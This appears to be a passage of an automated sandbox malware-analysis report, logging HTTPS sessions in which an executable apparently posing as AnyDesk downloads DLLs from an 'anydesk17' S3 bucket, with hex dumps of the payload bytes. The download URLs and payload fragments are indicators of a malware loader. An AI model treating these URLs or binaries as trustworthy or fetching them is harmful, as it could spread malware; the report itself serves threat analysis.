2024-12-18 12:06:02 UTC	5216	IN	Data Raw: 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 c5 7d a9 39 ec ea 61 f6 fb b1 b6 5a 00 06 22 dc e9 e9 d3 fb 22 87 eb 5f 5b f8 e8 46 76 4c a1 80 dc e4 5f cd 0a 50 62 3f 8c 4a 8e 54 c5 78 4a ab 7f 50 f1 45 89 dc 76 b7 bb f6 48 44 e3 da d0 33 b9 52 ad 0d fa b6 1c 1a 6e f3 4b d9 d2 fc 90 0f 27 55 b7 83 03 2f 8b 49 48 aa a0 62 87 c2 c4 32 01 ad 6c c9 26 38 01 a2 52 9d 38 9c 75 ba dd 93 c8 e7 3e 50 e9 bb 7b dd ad 54 f1 e9 8d d8 3e 3a 67 f7 d5 32 d4 7f fa 28 bb 20 0e 27 f2 27 9f 68 a1 dc 04 8f d1 06 26 f8 01 50 8e 16 03 34 3b bc bb 33 1d c0 71 79 41 dc 2c b1 c3 5a f4 f5 52 19 e7 4b 74 32 e8 f6 32 fa 0e 83 c5 e0 d6 28 d3 a9 6f bc 44 2e 48 9f 48 9b 06 5f 04 62 f2 ff c8 69 13 b4 43 e1 ec 2f 24 a9 8c d7 eb 7a 79 0b 84 b1 35 e3 Data Ascii: 0*H0}9aZ""_[FvL_Pb?JTxJPEvHD3RnK'U/IHb2l&8R8u>P{T>:g2( ''h&P4;3qyA,ZRKt22(oD.HH_biC/$zy5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49743	3.5.239.146	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:06:04 UTC	74	OUT	GET /MSVCP140.dll HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:06:04 UTC	446	IN	HTTP/1.1 200 OK x-amz-id-2: X4Uemz/M3VXC4xteU5HMr3GUjh8YPoQJz9cSehePlTdXXRqiclhni3MwVNtlCkXYHu///ll032atkDPZNM6mojH7TtXtDybd x-amz-request-id: 4CV81EDKFY6RTFZR Date: Wed, 18 Dec 2024 12:06:05 GMT Last-Modified: Wed, 20 Nov 2024 18:57:22 GMT ETag: "c1b066f9e3e2f3a6785161a8c7e0346a" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 627992 Server: AmazonS3 Connection: close
2024-12-18 12:06:04 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 b2 81 72 24 d3 ef 21 24 d3 ef 21 24 d3 ef 21 90 4f 00 21 26 d3 ef 21 2d ab 7c 21 32 d3 ef 21 76 bb ee 20 27 d3 ef 21 24 d3 ee 21 e1 d3 ef 21 76 bb ec 20 27 d3 ef 21 76 bb eb 20 6f d3 ef 21 76 bb ea 20 6a d3 ef 21 76 bb ef 20 25 d3 ef 21 76 bb 10 21 25 d3 ef 21 76 bb ed 20 25 d3 ef 21 52 69 63 68 24 d3 ef 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$`r$!$!$!O!&!-\|!2!v '!$!!v '!v o!v j!v %!v!%!v %!Rich$!PEd
2024-12-18 12:06:04 UTC	578	IN	Data Raw: fd ff ff e9 80 00 00 00 4c 8b 7c 24 70 4c 8b f3 49 c1 e6 03 48 8b d7 4d 8b c6 49 8b cf 4f 8d 24 3e e8 9a 8e 04 00 f2 0f 10 16 8b d3 48 8b cf e8 80 fd ff ff 4c 8b ed 48 83 fd 01 7e 4b bd 01 00 00 00 f2 0f 10 04 ee 66 0f 2e 05 61 f4 04 00 7a 02 74 35 4d 8b c6 49 8b d7 49 8b cc e8 5f 8e 04 00 f2 0f 10 14 ee 8b d3 49 8b cc e8 44 fd ff ff 44 8b cb 4d 8b c4 8b d3 48 8b cf e8 bc fb ff ff 48 ff c5 49 3b ed 7c ba 48 8b 5c 24 50 48 8b c7 48 8b 6c 24 58 48 8b 74 24 60 48 83 c4 20 41 5f 41 5e 41 5d 41 5c 5f c3 40 53 48 83 ec 20 66 41 0f 6e d0 48 8b d9 f3 0f e6 d2 e8 09 00 00 00 48 8b c3 48 83 c4 20 5b c3 48 8b c4 48 89 58 18 55 56 57 48 83 ec 30 33 ed 0f 29 70 d8 f2 0f 11 50 08 0f 28 f2 8b f2 48 8b d9 85 d2 0f 8e cf 00 00 00 83 fa 01 0f 84 c2 00 00 00 48 8d 50 08 48 Data Ascii: L\|$pLIHMIO$>HLH~Kf.azt5MII_IDDMHHI;\|H\$PHHl$XHt$`H A_A^A]A\_@SH fAnHHH [HHXUVWH03)pP(HHPH
2024-12-18 12:06:04 UTC	16384	IN	Data Raw: fe 00 00 00 f2 0f 10 4d 10 66 0f 2f c1 76 13 0f 57 0d e8 f1 04 00 bb 01 00 00 00 f2 0f 11 4d 10 eb 03 0f b7 df f2 0f 10 05 49 a2 08 00 66 0f 2f c1 77 70 f2 0f 10 15 bb f1 04 00 66 0f 2f d1 76 2f f2 0f 59 c9 48 8d 15 72 f4 04 00 41 b8 07 00 00 00 0f 28 c1 0f 28 f1 e8 1d f6 ff ff f2 0f 59 75 10 0f 28 c8 f2 0f 59 ce f2 0f 58 4d 10 eb 33 f2 0f 10 05 0e a2 08 00 48 8d 4d 10 41 83 c8 ff 66 0f 2f c1 76 23 0f 28 ca e8 b0 f4 ff ff f2 0f 10 4d 10 f2 0f 10 05 53 f1 04 00 f2 0f 5e c1 f2 0f 5c c8 f2 0f 59 cf eb 2a 0f 28 cf e8 8d f4 ff ff 0f bf c8 85 c9 74 0c 83 f9 01 75 11 b9 08 00 00 00 eb 05 b9 10 00 00 00 e8 d0 e5 ff ff f2 0f 10 4d 10 66 85 db 74 07 0f 57 0d 1f f1 04 00 0f 28 c1 eb 3a f2 0f 10 45 10 eb 33 66 0f 2e 3d 7b f1 04 00 7a 16 75 14 b8 00 80 00 00 66 85 45 Data Ascii: Mf/vWMIf/wpf/v/YHrA((Yu(YXM3HMAf/v#(MS^\Y*(tuMftW(:E3f.={zufE
2024-12-18 12:06:04 UTC	1024	IN	Data Raw: 81 c4 80 00 00 00 5d c3 cc cc cc cc cc cc 48 83 ec 38 48 c7 44 24 20 fe ff ff ff 48 8b ca e8 4f ff ff ff 90 b8 01 00 00 00 48 83 c4 38 c3 48 89 5c 24 10 57 48 83 ec 20 48 83 61 08 00 49 8b f8 48 83 61 10 00 48 8b d9 c7 01 63 73 6d e0 c7 41 04 01 00 00 00 c7 41 18 04 00 00 00 c7 41 20 20 05 93 19 48 89 51 28 4d 85 c0 74 11 41 f6 00 10 74 0b 48 8b 02 48 8b 48 f8 48 8b 79 30 48 8d 54 24 30 48 89 7b 30 48 8b cf ff 15 57 93 04 00 48 89 44 24 30 48 89 43 38 48 85 ff 74 11 f6 07 08 75 05 48 85 c0 75 07 c7 43 20 00 40 99 01 48 8b c3 48 8b 5c 24 38 48 83 c4 20 5f c3 cc cc 40 55 48 81 ec 00 01 00 00 48 8d 6c 24 30 48 89 9d e8 00 00 00 48 89 b5 f0 00 00 00 48 89 bd f8 00 00 00 48 8b 05 be 62 08 00 48 33 c5 48 89 85 c0 00 00 00 48 8b f9 48 85 c9 75 1a 48 8d 4d 00 e8 Data Ascii: ]H8HD$ HOH8H\$WH HaIHaHcsmAAA HQ(MtAtHHHHy0HT$0H{0HWHD$0HC8HtuHuC @HH\$8H _@UHHl$0HHHHbH3HHHuHM
2024-12-18 12:06:05 UTC	16384	IN	Data Raw: 24 20 48 89 03 48 89 53 08 48 85 d2 74 40 83 c8 ff f0 0f c1 42 08 83 f8 01 75 33 48 8b 5c 24 28 48 8b cb 48 8b 03 48 8b 00 ff 15 8f 93 04 00 83 c8 ff f0 0f c1 43 0c 83 f8 01 75 12 48 8b 4c 24 28 48 8b 01 48 8b 40 08 ff 15 70 93 04 00 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc cc cc 33 d2 e9 dd f7 ff ff cc cc cc cc cc cc cc cc cc 48 83 ec 28 e8 27 f2 ff ff 48 8b c8 e8 3f fc ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 8b 02 4c 8b 01 48 89 01 4c 89 02 48 8b 42 08 4c 8b 41 08 48 89 41 08 4c 89 42 08 c3 cc cc cc 48 83 39 00 0f 95 c0 c3 cc cc cc cc cc cc cc cc 48 83 79 08 00 48 8d 05 fc b2 04 00 48 0f 45 41 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 55 53 56 57 41 54 41 55 41 56 48 83 ec 60 48 8d 6c 24 30 48 8b 05 ad 5e 08 00 48 33 c5 48 89 45 Data Ascii: $ HHSHt@Bu3H\$(HHHCuHL$(HH@pH0[3H('H?HLHLHBLAHALBH9HyHHEA@USVWATAUAVH`Hl$0H^H3HE
2024-12-18 12:06:05 UTC	1024	IN	Data Raw: 8b 44 24 40 48 8b cb e8 b2 02 00 00 90 48 8b 54 24 48 48 83 fa 10 72 35 48 ff c2 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 76 07 ff 15 97 51 04 00 cc e8 71 f8 03 00 48 83 67 10 00 48 83 67 18 00 0f 10 03 0f 11 07 0f 10 4b 10 0f 11 4f 10 48 83 63 10 00 be 0f 00 00 00 48 89 73 18 c6 03 00 48 83 63 10 00 48 89 73 18 c6 03 00 48 8b c7 48 8b 4c 24 50 48 33 cc e8 cc f7 03 00 48 83 c4 60 5f 5e 5b c3 cc cc cc cc 48 8b 41 40 33 d2 48 39 10 74 06 48 8b 41 58 8b 10 48 63 c2 c3 cc cc cc cc cc cc cc cc cc cc cc 48 8b 41 58 ff 08 48 8b 51 40 48 8b 02 48 8d 48 01 48 89 0a c3 cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 8b 41 20 48 8b d9 85 c0 7e 0c 48 8b 49 18 ff 15 0e 50 04 00 eb 0b 79 09 48 8b 49 Data Ascii: D$@HHT$HHr5HHL$0HHrH'HIH+HHvQqHgHgKOHcHsHcHsHHL$PH3H`_^[HA@3H9tHAXHcHAXHQ@HHHH@SH A H~HIPyHI
2024-12-18 12:06:05 UTC	1749	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 60 8b 41 14 83 e2 17 89 51 10 23 c2 75 06 48 83 c4 60 5b c3 a8 04 74 09 48 8d 1d 54 b3 04 00 eb 14 a8 02 48 8d 1d 61 b3 04 00 48 8d 05 72 b3 04 00 48 0f 44 d8 ba 01 00 00 00 48 8d 4c 24 20 e8 b7 19 00 00 4c 8b c0 48 8d 4c 24 30 48 8b d3 e8 57 d9 ff ff 48 8d 15 58 20 06 00 48 8d 4c 24 30 e8 3c 04 04 00 cc cc cc cc cc cc 40 53 48 83 ec 60 8b 41 14 83 e2 17 89 51 10 23 c2 74 07 45 84 c0 74 12 eb 06 48 83 c4 60 5b c3 33 d2 33 c9 e8 0d 04 04 00 cc a8 04 74 09 48 8d 1d d3 b2 04 00 eb 14 a8 02 48 8d 1d e0 b2 04 00 48 8d 05 f1 b2 04 00 48 0f 44 d8 ba 01 00 00 00 48 8d 4c 24 20 e8 36 19 00 00 4c 8b c0 48 8d 4c 24 30 48 8b d3 e8 d6 d8 ff ff 48 8d 15 d7 1f 06 00 48 8d 4c 24 30 e8 bb 03 04 00 cc cc cc cc cc e9 Data Ascii: @SH`AQ#uH`[tHTHaHrHDHL$ LHL$0HWHX HL$0<@SH`AQ#tEtH`[33tHHHHDHL$ 6LHL$0HHHL$0
2024-12-18 12:06:05 UTC	16384	IN	Data Raw: 24 b0 00 00 00 49 8b c4 49 3b c5 0f 84 de 00 00 00 41 8a 02 3c 80 73 10 44 0f b6 c0 49 8d 42 01 48 89 03 e9 8c 00 00 00 3c c0 0f 82 20 01 00 00 44 0f b6 c0 3c e0 73 0c 41 83 e0 1f 41 b9 01 00 00 00 eb 2d 3c f0 73 0c 41 83 e0 0f 41 b9 02 00 00 00 eb 1d 3c f8 73 0c 41 83 e0 07 41 b9 03 00 00 00 eb 0d 41 83 e0 03 3c fc 45 1b c9 41 83 c1 05 49 8b d7 41 8d 49 01 49 2b d2 48 3b d1 7c 6f 49 ff c2 4c 89 13 41 8a 02 2c 80 3c 3f 0f 87 c4 00 00 00 41 0f b6 0a 41 8b c0 83 e1 3f c1 e0 06 41 ff c9 44 8b c1 44 0b c0 49 ff c2 4c 89 13 45 85 c9 7f d2 40 38 3e 75 13 c6 06 01 41 f6 46 14 04 74 09 41 81 f8 ff fe 00 00 74 4a 45 39 46 10 0f 82 81 00 00 00 49 8b 03 44 89 00 49 83 03 04 4c 8b 13 49 8b 03 4d 3b d7 0f 85 19 ff ff ff 49 3b ea 40 0f 94 c7 8b c7 4c 8d 5c 24 50 49 8b Data Ascii: $II;A<sDIBH< D<sAA-<sAA<sAAA<EAIAII+H;\|oILA,<?AA?ADDILE@8>uAFtAtJE9FIDILIM;I;@L\$PI
2024-12-18 12:06:05 UTC	1024	IN	Data Raw: 10 ff 15 e2 08 04 00 90 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc cc cc cc 48 8d 05 89 d4 07 00 c3 cc cc cc cc cc cc cc cc 8b 05 7a d4 07 00 85 c0 78 04 ff c0 eb 05 b8 01 00 00 00 89 05 67 d4 07 00 c3 cc cc cc cc cc cc 48 83 ec 28 83 2d 55 d4 07 00 01 75 33 48 8b 0d ac f8 07 00 48 85 c9 74 05 e8 02 01 00 00 48 8b 0d a3 f8 07 00 48 85 c9 74 05 e8 f1 00 00 00 48 8b 0d 82 f8 07 00 48 85 c9 74 05 e8 e0 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 60 48 c7 44 24 20 fe ff ff ff 48 8b d9 48 8b 01 48 63 48 04 83 7c 19 10 00 75 48 f6 44 19 18 02 74 41 48 8b 4c 19 48 48 8b 01 48 8b 40 68 ff 15 17 08 04 00 83 f8 ff 75 2a 48 8b 03 48 63 50 04 48 03 d3 8b 4a 10 8b c1 83 c8 04 48 83 7a 48 00 0f 44 c8 83 e1 13 83 c9 04 89 4a 10 8b 42 14 23 c1 Data Ascii: H0[HzxgH(-Uu3HHtHHtHHtH(@SH`HD$ HHHcH\|uHDtAHLHHH@hu*HHcPHJHzHDJB#
2024-12-18 12:06:05 UTC	16384	IN	Data Raw: 50 8b 10 eb 02 33 d2 85 d2 7e 06 41 0f b6 00 eb 0d 48 8b 01 48 8b 40 30 ff 15 cb 04 04 00 83 f8 ff 74 06 41 88 46 09 eb 04 49 83 26 00 41 c6 46 08 01 41 8a 46 09 42 38 04 3f 75 0c b1 01 88 4c 24 20 eb 31 89 6c 24 24 48 8d 54 24 38 49 83 fd 10 48 0f 43 d3 b9 7f 00 00 00 4c 3b e1 41 0f b6 c4 0f 42 c8 88 0c 2a 48 8b 5c 24 38 4c 8b 6c 24 50 8a 4c 24 20 48 ff c5 48 3b ee 0f 82 0c ff ff ff 84 c9 0f 84 be fe ff ff 48 8b 54 24 28 49 8b ce e8 43 5d 00 00 84 c0 0f 85 a9 fe ff ff 49 ff c4 49 8b ce e8 8c 33 00 00 83 4c 24 24 ff e9 85 fe ff ff 48 8b cb e8 2e a9 03 00 8b 44 24 24 48 8b 4c 24 58 48 33 cc e8 bd a8 03 00 48 8b 9c 24 b8 00 00 00 48 83 c4 60 41 5f 41 5e 41 5d 41 5c 5f 5e 5d c3 cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 41 56 41 57 48 83 ec 20 48 bb Data Ascii: P3~AHH@0tAFI&AFAFB8?uL$ 1l$$HT$8IHCL;AB*H\$8Ll$PL$ HH;HT$(IC]II3L$$H.D$$HL$XH3H$H`A_A^A]A\_^]H\$Hl$Ht$WAVAWH H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49749	52.95.161.33	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:06:08 UTC	72	OUT	GET /libcef.dll HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:06:09 UTC	426	IN	HTTP/1.1 200 OK x-amz-id-2: hnGJtKqRsc64KutWy3Z9R5gk5OIuK8jc4XnM0FXV7gHXw7/rDUDoD/rFKt/6uXaveNPmFGb9EZA= x-amz-request-id: 08GJXMK4HC92T4HH Date: Wed, 18 Dec 2024 12:06:09 GMT Last-Modified: Sat, 07 Dec 2024 17:32:42 GMT ETag: "d7b50924ab14320b946526eb3db6a08f" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 271126 Server: AmazonS3 Connection: close
2024-12-18 12:06:09 UTC	16384	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 09 7c 54 d5 dd ff 7f 66 92 81 b0 25 11 09 06 50 3b 6a d0 b8 80 81 20 06 01 99 48 82 13 0d 10 21 48 44 34 09 c9 84 a4 26 99 71 16 08 b8 41 03 96 38 46 63 ab ad 5d 5c aa b6 5a 5b 5b 6a 7d 04 dc 1a 44 25 28 2a b8 b4 b8 54 a9 f5 d1 8b b1 16 77 6c ad f3 ff 7e cf 39 f7 ce 9d 25 88 ed f3 7b fd ff bf e7 ff 79 c3 99 7b ef d9 d7 ef 59 ef cd dc 25 3d 22 43 08 91 49 2a 16 13 62 b3 50 78 c4 d7 93 ef 10 22 fb 5b 0f 65 8b 07 86 3c 7b cc 66 47 e5 b3 c7 54 37 b7 84 dc 81 a0 7f 79 b0 be cd dd 50 df de ee 0f bb 97 f9 dc c1 48 bb bb a5 dd 5d 36 7f a1 bb cd df e8 9b 38 62 c4 d0 02 ed c7 8f 5b fd 1b de 18 e1 78 cd 54 7f 8a 7c ef b5 3d 74 bd b6 c3 f5 ea 2b f2 ea 7c f5 75 79 15 af b2 fe 4d 11 f5 7c 53 c4 a5 af e2 d5 3f 49 b7 e2 b5 9f 4b 7b 99 Data Ascii: \|Tf%P;j H!HD4&qA8Fc]\Z[[j}D%(Twl~9%{y{Y%="CIbPx"[e<{fGT7yPH]68b[xT\|=t+\|uyM\|S?IK{
2024-12-18 12:06:09 UTC	598	IN	Data Raw: 6c ef 03 eb d5 58 fb 09 8a 50 f1 2a 1a 43 5d a3 fc fd 01 dd ff cc f6 7c 98 0c 3b 4b 0c 5d 30 28 c0 6e 78 ef f8 35 32 ff 07 a9 98 b6 b3 8b ee 47 ae a6 be 36 aa 9e c7 d1 fd f1 ab e3 e6 fc 7c 82 cd 7c c8 d8 41 62 ec 94 1c 31 36 38 7a ef a8 c0 e1 75 ec 2f c7 f3 22 b2 33 fb 32 ca b3 a8 ba ca f4 2f 70 56 39 72 06 89 1c 8a 7b 0e c5 9d fb 38 99 2e ee 9f a8 f0 1d 59 99 22 2b 98 19 c8 a8 a3 7c 1a 91 29 46 4c 19 22 46 90 5c 19 c2 e6 d4 8f 99 7e f3 1f 8f b9 8f d4 b2 a8 ba ca bc ab e2 be 23 4b 8c a2 7c 1b 45 f9 36 8a fc 1f 35 99 fa 91 3c 17 e5 d3 43 22 cf b1 59 0c 62 3b 32 7c 52 53 5c 22 67 a4 0a 5f 32 49 5d 02 f7 a6 f6 cf 3c 8f e8 21 fd cd a4 f6 a6 31 67 36 e8 39 94 39 7e e7 b1 4a dd 29 89 76 78 bc be 39 8d 3d 77 92 3d 66 6f 1a 7b 7b d3 d8 5b 13 51 d7 c2 5f a5 9a 71 Data Ascii: lXP*C]\|;K]0(nx52G6\|\|Ab168zu/"32/pV9r{8.Y"+\|)FL"F\~#K\|E65<C"Yb;2\|RS\"g_2I]<!1g699~J)vx9=w=fo{{[Q_q
2024-12-18 12:06:09 UTC	16384	IN	Data Raw: 90 fa 11 a9 ad a4 de 26 35 8c c6 7e 47 93 9a 48 6a 2e a9 7a 52 2b 48 75 93 ba 8d d4 26 52 7b 48 fd 8d d4 11 db 28 ff 48 cd 21 d5 4c aa 9b d4 6f 49 bd 44 ea 03 52 83 9f a0 bc 21 35 85 d4 39 a4 6a 49 85 49 75 91 ba 8d d4 03 a4 9e 26 f5 26 a9 8f 49 0d 7e 92 d2 4f 6a 22 a9 d9 a4 2e 22 d5 41 ea 7b a4 36 92 7a fe 49 fe 12 25 75 3c 4f 51 9a 49 15 93 5a 48 2a 48 ea 06 52 bf 25 f5 1c a9 f7 49 65 6c a7 7e 96 d4 04 52 67 93 aa 27 b5 9a d4 f7 49 fd 92 d4 a3 a4 76 93 7a 8f 14 0d f2 45 3e a9 53 48 79 48 5d 40 ea 52 52 37 93 da 44 6a 0f a9 bf 91 8a 91 ca de 41 f5 99 d4 74 52 f3 49 2d 25 75 29 a9 f5 a4 7e 48 ea 97 a4 1e 23 f5 2a a9 4f 48 8d 7a 9a d2 4f ea 1c 52 17 93 5a 41 ea 06 52 7d a4 be 20 55 f0 0c d5 a9 67 f8 54 34 e5 07 a9 c7 49 ed 22 f5 0e a9 ac 9d 42 9c 44 6a 36 Data Ascii: &5~GHj.zR+Hu&R{H(H!LoIDR!59jIIu&&I~Oj"."A{6zI%u<OQIZHHR%Iel~Rg'IvzE>SHyH]@RR7DjAtRI-%u)~H#OHzORZAR} UgT4I"BDj6
2024-12-18 12:06:09 UTC	1024	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:
2024-12-18 12:06:10 UTC	16384	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 0a 7b 70 20 00 00 00 00 00 e4 ff da 08 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii: {p
2024-12-18 12:06:10 UTC	1024	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:
2024-12-18 12:06:10 UTC	16384	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:
2024-12-18 12:06:10 UTC	1024	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:
2024-12-18 12:06:10 UTC	16384	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:
2024-12-18 12:06:10 UTC	1024	IN	Data Raw: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa Data Ascii:

Target ID:	0
Start time:	07:05:38
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\VJQyKuHEUe.exe
Wow64 process (32bit):	true
